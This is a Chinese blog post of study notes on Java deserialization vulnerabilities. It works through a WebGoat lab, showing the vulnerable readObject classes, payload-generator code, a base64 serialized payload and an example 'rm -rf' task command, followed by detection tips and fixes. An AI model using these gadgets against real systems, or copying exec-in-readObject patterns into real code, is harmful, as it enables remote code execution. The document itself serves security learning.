Java代码审计安全篇-反序列化漏洞

前言:

 堕落了三个月,现在因为被找实习而困扰,着实自己能力不足,从今天开始 每天沉淀一点点 ,准备秋招 加油

注意:

本文章参考qax的网络安全java代码审计和部分师傅审计思路以及webgoat靶场,记录自己的学习过程,还希望各位博主 师傅 大佬 勿喷,还希望大家指出错误

初识 Java序列化和反序列化:

1.概念:

       序列化是将某些对象转换为以后可以恢复的数据格式的过程。人们经常序列化对象,以便将它们保存到存储中,或作为通信的一部分发送。

         反序列化是该过程的反面,从某种格式获取数据,并将其重建为对象。如今,用于序列化数据的最流行的数据格式是 JSON。在此之前,它是 XML。

2. 好处:

能够实现数据的持久化,通过序列化可以把数据永久保存在硬盘上,也可理解为通过序列化将数据保存在文件中。

3.序列化和反序列化的过程举例:

参考https://www.cnblogs.com/LoYoHo00/articles/17654380.html

类文件 Person.java

package lemo;
import java.io.Serializable;
​
public class Person implements Serializable {
​private String name;private int age;
​public Person(){
​}// 构造函数public Person(String name, int age){this.name = name;this.age = age;}
​@Overridepublic String toString(){return "src.Person{" +"name='" + name + '\'' +", age=" + age +'}';}
}

序列化文件:SerializationTest.java 

package lemo;import java.io.FileOutputStream;//文件输出流
import java.io.IOException;//用于声明可能会抛出IOException的方法。当一个方法可能会引发输入/输出异常时,可以使用throws IOException来通知调用该方法的其他部分,让它们做出相应的异常处理。
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;//将对象以二进制形式写入输出流。它可以将对象序列化成字节流,用于在网络中传输或保存到文件中。public class SerializationTest {public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象oos.writeObject(obj);//序列化}public static void main(String[] args) throws Exception{Person person = new Person("aa",22);System.out.println(person);serialize(person);}
}

反序列化文件:UnserializeTest.java

package lemo;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class UnserializeTest {public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws Exception{Person person = (Person)unserialize("ser.bin");System.out.println(person);//反序列化}
}

我们运行SerializationTest.java得到

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象oos.writeObject(obj);//序列化

      在 serialize 方法的实现中,首先创建了一个 ObjectOutputStream 对象 oos,它接受一个 FileOutputStream 对象作为参数,用于指定输出流写入的文件名为 "ser.bin"。然后,通过调用 oos.writeObject(obj) 方法,将传入的对象进行序列化,将序列化后的数据写入输出流。

 我们运行UnserializationTest.java得到

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();

 readObject()方法被调用,它从输入流中读取字节并将其反序列化为对象

注意: 
1.静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的。

2.transient 标识的对象成员变量不参与序列化

举例:

将 Person.java中的name加上transient的类型标识

加完之后再跑我们的序列化与反序列化的两个程序运行得到 发现

 name打印为NULL 是因为transient 标识的对象成员变量不参与序列化

 初始反序列化漏洞

 序列化和反序列化中有两个重要的方法————writeObject和readObject

上面举例也是使用这两个方法

1.可能存在漏洞的场景

(1)入口类的readObject直接调用危险方法

我们只需在Person.java里面添加一个触发计算器的代码:

package src;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
​
public class Person implements Serializable {
​private transient String name;private int age;
​public Person(){
​}// 构造函数public Person(String name, int age){this.name = name;this.age = age;}
​@Overridepublic String toString(){return "src.Person{" +"name='" + name + '\'' +", age=" + age +'}';}
​public void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{ois.defaultReadObject();//调用默认机制,以恢复对象的非静态和非瞬态(非 transient 修饰)字段Runtime.getRuntime().exec("calc");//在操作系统上执行外部命令。}
}

先后运行序列化 和反序列化代码就会发现弹出了计算器 

只有实现了Serializable接口的类的对象才可以被序列化,Serializable接口是启用其序列化功能的接口,实现java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。这里的readObject()执行了Runtime.getRuntime().exec("calc"),而readObject()方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject()是可以重写的,可以定制反序列化的一些行为。

(2)入口参数中包含可控类,该类有危险方法,readObject时调用

(3)入口参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4)构造函数/静态代码块等加载时隐式执行

2.Webgoat说明

ClassPath 中包含的类

攻击者需要在类路径中找到支持序列化且具有危险实现的类。readObject()

package org.dummy.insecure.framework;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 1;private String taskName;private String taskAction;private LocalDateTime requestedExecutionTime;public VulnerableTaskHolder(String taskName, String taskAction) {super();this.taskName = taskName;this.taskAction = taskAction;this.requestedExecutionTime = LocalDateTime.now();}private void readObject( ObjectInputStream stream ) throws Exception {//deserialize data so taskName and taskAction are availablestream.defaultReadObject();//blindly run some code. #code injectionRuntime.getRuntime().exec(taskAction);}
}

 利用:

如果存在上面显示的 java 类,攻击者可以序列化该对象并获取远程代码执行。

VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();

原理跟上边那个差不多 

 3.Webgoat靶场实战
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l

我们输入aa试试然后抓包可以看到接口名为InsecureDeserialization/task,那就后端全局搜索InsecureDeserialization/task,最终定位到InsecureDeserializationTask.java

得到InsecureDeserializationTask.java源码 

package org.owasp.webgoat.deserialization;import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;import java.io.*;
import java.util.Base64;@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {@PostMapping("/InsecureDeserialization/task")@ResponseBodypublic AttackResult completed(@RequestParam String token) throws IOException {String b64token;long before;long after;int delay;b64token = token.replace('-', '+').replace('_', '/');try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {before = System.currentTimeMillis();Object o = ois.readObject();if (!(o instanceof VulnerableTaskHolder)) {if (o instanceof String) {return failed(this).feedback("insecure-deserialization.stringobject").build();}return failed(this).feedback("insecure-deserialization.wrongobject").build();}after = System.currentTimeMillis();} catch (InvalidClassException e) {return failed(this).feedback("insecure-deserialization.invalidversion").build();} catch (IllegalArgumentException e) {return failed(this).feedback("insecure-deserialization.expired").build();} catch (Exception e) {return failed(this).feedback("insecure-deserialization.invalidversion").build();}delay = (int) (after - before);if (delay > 7000) {return failed(this).build();}if (delay < 3000) {return failed(this).build();}return success(this).build();}
}

后端拿到我们的token之后进行了一个特殊符号替换,然后进行了base64解码,解码过后进行了readObject()反序列化操作,最后判断一下这个对象是不是VulnerableTaskHolder的实例。所以,我们反序列化的对象也就确定了,那就是VulnerableTaskHolder类的实例。 

那我们就重点关注VulnerableTaskHolder类的实现:

源码:

package org.dummy.insecure.framework;import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;import lombok.extern.slf4j.Slf4j;@Slf4j
public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 2;private String taskName;private String taskAction;private LocalDateTime requestedExecutionTime;public VulnerableTaskHolder(String taskName, String taskAction) {super();this.taskName = taskName;this.taskAction = taskAction;this.requestedExecutionTime = LocalDateTime.now();}@Overridepublic String toString() {return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="+ requestedExecutionTime + "]";}/*** Execute a task when de-serializing a saved or received object.* @author stupid develop*/private void readObject( ObjectInputStream stream ) throws Exception {//unserialize data so taskName and taskAction are availablestream.defaultReadObject();//do something with the datalog.info("restoring task: {}", taskName);log.info("restoring time: {}", requestedExecutionTime);if (requestedExecutionTime!=null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {//do nothing is the time is not within 10 minutes after the object has been createdlog.debug(this.toString());throw new IllegalArgumentException("outdated");}//condition is here to prevent you from destroying the goat altogetherif ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))&& taskAction.length() < 22) {log.info("about to execute: {}", taskAction);try {Process p = Runtime.getRuntime().exec(taskAction);BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));String line = null;while ((line = in.readLine()) != null) {log.info(line);}} catch (IOException e) {log.error("IO Exception", e);}}}}

 关注readObject方法

if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))&& taskAction.length() < 22) {log.info("about to execute: {}", taskAction);try {Process p = Runtime.getRuntime().exec(taskAction);BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));String line = null;while ((line = in.readLine()) != null) {log.info(line);}} catch (IOException e) {log.error("IO Exception", e);}}

可以看到首先判断requestedExecutionTime变量值是否是当前时间,如果是当前时间则判断taskAction变量是否是以sleep或者ping开头且长度小于22,如果满足的话就将taskAction变量值传给Runtime.getRuntime().exec执行命令。这里的taskAction是我们可以控制的

然后关注发现这个类的有参构造器发现其会自动将this.requestedExecutionTime赋值为当前时间

所以我们只需关注 taskAction变量

然后根据上面的漏洞利用进行构造paylaod

 注意两点:

创建的对象必须是 VulnerableTaskHolder 类的实例,包名得一致;

创建的序列化对象,时间戳必须在当前时间的前十分钟以内,否则会报 The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let’s try again 错误。所以 VulnerableTaskHolder 类中的构造方法得减去一定得时间。

 我直接将构造代码写在了这个类文件里面,因为在序列化时会将package包名也序列化进去,这样也比较方便。

package org.dummy.insecure.framework;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.util.Base64;public class VulnerableTaskHolder {  static public void main(String[] args){  try{  VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");  ByteArrayOutputStream bos = new ByteArrayOutputStream();  ObjectOutputStream oos = new ObjectOutputStream(bos);  oos.writeObject(go);  oos.flush();  byte[] exploit = bos.toByteArray();  String exp = Base64.getEncoder().encodeToString(exploit);  System.out.println(exp);  } catch (Exception e){  }  }  
}

或者使用ping 

package org.dummy.insecure.framework;import java.io.Serializable;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;public class VulnerableTaskHolder implements Serializable {private static final long serialVersionUID = 2;private String taskAction;public VulnerableTaskHolder(String taskAction) {this.taskAction = taskAction;}public static void main(String[] args) throws IOException {VulnerableTaskHolder vuln = new VulnerableTaskHolder("ping 1 -n 6");ByteArrayOutputStream bOut = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(bOut);objOut.writeObject(vuln);String str = Base64.getEncoder().encodeToString(bOut.toByteArray());System.out.println(str);objOut.close();}
}

生成

rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAAFMAAp0YXNrQWN0aW9udAASTGphdmEvbGFuZy9TdHJpbmc7eHB0AAtwaW5nIDEgLW4gNg==

 提交成功

 如何发现漏洞

参考https://www.cnblogs.com/yokan/p/15232644.html

1.从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB

2.Java RMI的传输100%基于反序列化,Java RMI的默认端口是1099端口

3.从源码入手,可以被序列化的类一定实现了Serializable接口

4.观察反序列化时的readObject()方法是否重写,重写中是否有设计不合理,可以被利用之处

从可控数据的反序列化或间接的反序列化接口入手,再在此基础上尝试构造序列化的对象。

ysoserial是一款非常好用的Java反序列化漏洞检测工具,该工具通过多种机制构造PoC,并灵活的运用了反射机制和动态代理机制,值得学习和研究。

其他反序列化漏洞 

Apache Shiro 反序列化漏洞

后面再学吧 可参考

https://cloud.tencent.com/developer/article/2396001

fastjson 漏洞

 一文读懂面试官都在问的Fastjson漏洞 - FreeBuf网络安全行业门户

这个当然还有其他的后面再深入了解了解

修复

 1. 通过Hook resolveClass来校验反序列化的类

 2. 使用ObjectInputFilter来校验反序列化的类

 3. 黑名单校验修复

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/278797.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

智慧城市物联网建设:提升城市管理效率与居民生活品质

目录 一、智慧城市物联网建设的意义 1、提升城市管理效率 2、改善居民生活品质 3、促进城市可持续发展 二、智慧城市物联网建设面临的挑战 1、技术标准与互操作性问题 2、数据安全与隐私保护问题 3、投资与回报平衡问题 三、智慧城市物联网建设的实施策略 1、制定统一…

Python和R的区别是什么,Python与R的应用场景是什么?

如果你这么问&#xff0c;那么你可能正站在数据科学的起点。对于志在成为数据专业人员的你来说&#xff0c;学习编程是无疑的。我想行你早就听过Python 与R的比较之声&#xff0c;并在选择中感到困惑。在此&#xff0c;我想说&#xff0c;也算是一种安慰吧&#xff1a;对于语言…

uniapp+vue3+setup语法糖开发微信小程序时不能定义globalData的解决方法

在使用 uniapp 开发小程序的时候&#xff0c; 发现使用了setup 语法糖 &#xff0c;定义 globalData 时&#xff0c;要不是定义不了&#xff0c; 要不就是使用 getApp()取不到&#xff0c;后来想到一个不伦不类的方法解决了&#xff0c; 这个方法有点难看&#xff0c; 但是解决…

学习笔记Day8:GEO数据挖掘-基因表达芯片

GEO数据挖掘 数据库&#xff1a;GEO、NHANCE、TCGA、ICGC、CCLE、SEER等 数据类型&#xff1a;基因表达芯片、转录组、单细胞、突变、甲基化、拷贝数变异等等 常见图表 表达矩阵 一行为一个基因&#xff0c;一列为一个样本&#xff0c;内容是基因表达量。 热图 输入数据…

智能合约 - 部署ERC20

Remix介绍 Remix是一个由以太坊社区开发的在线集成开发环境&#xff08;IDE&#xff09;&#xff0c;旨在帮助开发者编写、测试和部署以太坊智能合约。它提供了一个简单易用的界面&#xff0c;使得开发者可以在浏览器中直接进行智能合约的开发&#xff0c;而无需安装任何额外的…

Error response from daemon Get server gave HTTP response to HTTPS client

使用docker compose拉起docker镜像时&#xff0c;若出现如下报错 Error response from daemon: Get "https://devops.test.cn:5000/v2/": http: server gave HTTP response to HTTPS client表示Docker守护进程无法从指定url获取响应&#xff0c; 可能原因有以下&…

java Flink(四十二)Flink的序列化以及TypeInformation介绍(源码分析)

Flink的TypeInformation以及序列化 TypeInformation主要作用是为了在 Flink系统内有效地对数据结构类型进行管理&#xff0c;能够在分布式计算过程中对数据的类型进行管理和推断。同时基于对数据的类型信息管理&#xff0c;Flink内部对数据存储也进行了相应的性能优化。 Flin…

烫烫烫VS屯屯屯,为什么我们再编程中会遇到一些奇怪的中文汉字呢?【函数的栈帧】

一、奇怪的汉字是怎么产生的呢&#xff1f; 当我们上网查询的时候&#xff0c;我们会发现网上用了一句简单的话来概括&#xff1a; 在VC 的debug模式下&#xff0c;在栈中新分配的内存会初始化为 0xcc&#xff0c;在堆中新分配的内存会初始化为 0xcd&#xff0c;这时打印出来分…

Jenkins 一个进程存在多个实例问题排查

Jenkins 一个进程存在多个实例问题排查 最近Jenkins升级到2.440.1​版本后&#xff0c;使用tomcat​服务部署&#xff0c;发现每次定时任务总会有3-4个请求到我的机器人上&#xff0c;导致出现奇奇怪怪的问题。 问题发现 机器人运行异常&#xff0c;总有好几个同时请求的服务。…

C++进阶之路---手撕“红黑树”

顾得泉&#xff1a;个人主页 个人专栏&#xff1a;《Linux操作系统》 《C从入门到精通》 《LeedCode刷题》 键盘敲烂&#xff0c;年薪百万&#xff01; 一、红黑树的概念与性质 1.概念 红黑树&#xff0c;是一种二叉搜索树&#xff0c;但在每个结点上增加一个存储位表示结点…

matlab矩形薄板小挠度弯曲有限元编程 |【Matlab源码+理论文本】|板单元| Kirchoff薄板 | 板壳单元

专栏导读 作者简介&#xff1a;工学博士&#xff0c;高级工程师&#xff0c;专注于工业软件算法研究本文已收录于专栏&#xff1a;《有限元编程从入门到精通》本专栏旨在提供 1.以案例的形式讲解各类有限元问题的程序实现&#xff0c;并提供所有案例完整源码&#xff1b;2.单元…

后端工程师快速使用axios

文章目录 01.AJAX 概念和 axios 使用模板目标讲解代码解析案例前端后端结果截图 02.URL 查询参数模板目标讲解案例前端后端结果截图 03.常用请求方法和数据提交模板目标讲解案例前端后端结果截图 04.axios 错误处理模板目标讲解案例前端后端结果截图 01.AJAX 概念和 axios 使用…

C语言数据结构与算法笔记(排序算法)

排序算法 基础排序 冒泡排序 核心为交换&#xff0c;通过不断进行交换&#xff0c;将大的元素一点一点往后移&#xff0c;每一轮最大的元素排到对应的位置上&#xff0c;形成有序。 设数组长度为N&#xff0c;过程为: 共进行N轮排序每一轮排序从数组的最左边开始&#xff0…

C++中的作用域解析运算符

1. 访问命名空间成员 当我们需要访问某个命名空间中的变量、函数或类型时&#xff0c;可以使用::来指定明确的作用域。 namespace myNamespace {int value 42; }int value 24;int main() {// 使用作用域解析运算符访问命名空间中的变量std::cout << myNamespace::val…

分治法排序:原理与C语言实现

分治法排序&#xff1a;原理与C语言实现 一、分治法与归并排序概述二、归并排序的C语言实现三、归并排序的性能分析四、归并排序的优化 在计算机科学中&#xff0c;分治法是一种解决问题的策略&#xff0c;它将一个难以直接解决的大问题&#xff0c;分割成一些规模较小的相同问…

确保云原生部署中的网络安全

数字环境正在以惊人的速度发展&#xff0c;组织正在迅速采用云原生部署和现代化使用微服务和容器构建的应用程序&#xff08;通常运行在 Kubernetes 等平台上&#xff09;&#xff0c;以推动增长。 无论我们谈论可扩展性、效率还是灵活性&#xff0c;对于努力提供无与伦比的用…

算法——贪心算法

《算法图解》——贪心算法 # 首先创建一个表&#xff0c;包含所覆盖的州 states_needed set([mt,wa,or,id,nv,ut,az]) # 传入一个数组&#xff0c;转换成一个集合#可供选择的广播台清单 stations {} stations[kone] set([id,nv,ut]) #用集合表示想要覆盖的州&#xff0c;且不…

【K8S】docker和K8S(kubernetes)理解?docker是什么?K8S架构、Master节点 Node节点 K8S架构图

docker和K8S理解 一、docker的问世虚拟机是什么&#xff1f;Docker的问世&#xff1f;docker优点及理解 二、Kubernetes-K8SK8S是什么&#xff1f;简单了解K8S架构Master节点Node节点K8S架构图 一、docker的问世 在LXC(Linux container)Linux容器虚拟技术出现之前&#xff0c;业…

C语言黑魔法第三弹——动态内存管理

本文由于排版问题&#xff0c;可能稍显枯燥&#xff0c;但里面知识点非常详细&#xff0c;建议耐心阅读&#xff0c;帮助你更好的理解动态内存管理这一C语言大杀器 进阶C语言中有三个知识点尤为重要&#xff1a;指针、结构体、动态内存管理&#xff0c;这三个知识点决定了我们…

利用textarea和white-space实现最简单的文章编辑器 支持缩进和换行

当你遇到一个非常基础的文章发布和展示的需求&#xff0c;只需要保留换行和空格缩进&#xff0c;你是否会犹豫要使用富文本编辑器&#xff1f;实际上这个用原生的标签两步就能搞定&#xff01; 1.直接用textarea当编辑器 textarea本身就可以保存空格和换行符&#xff0c;示例如…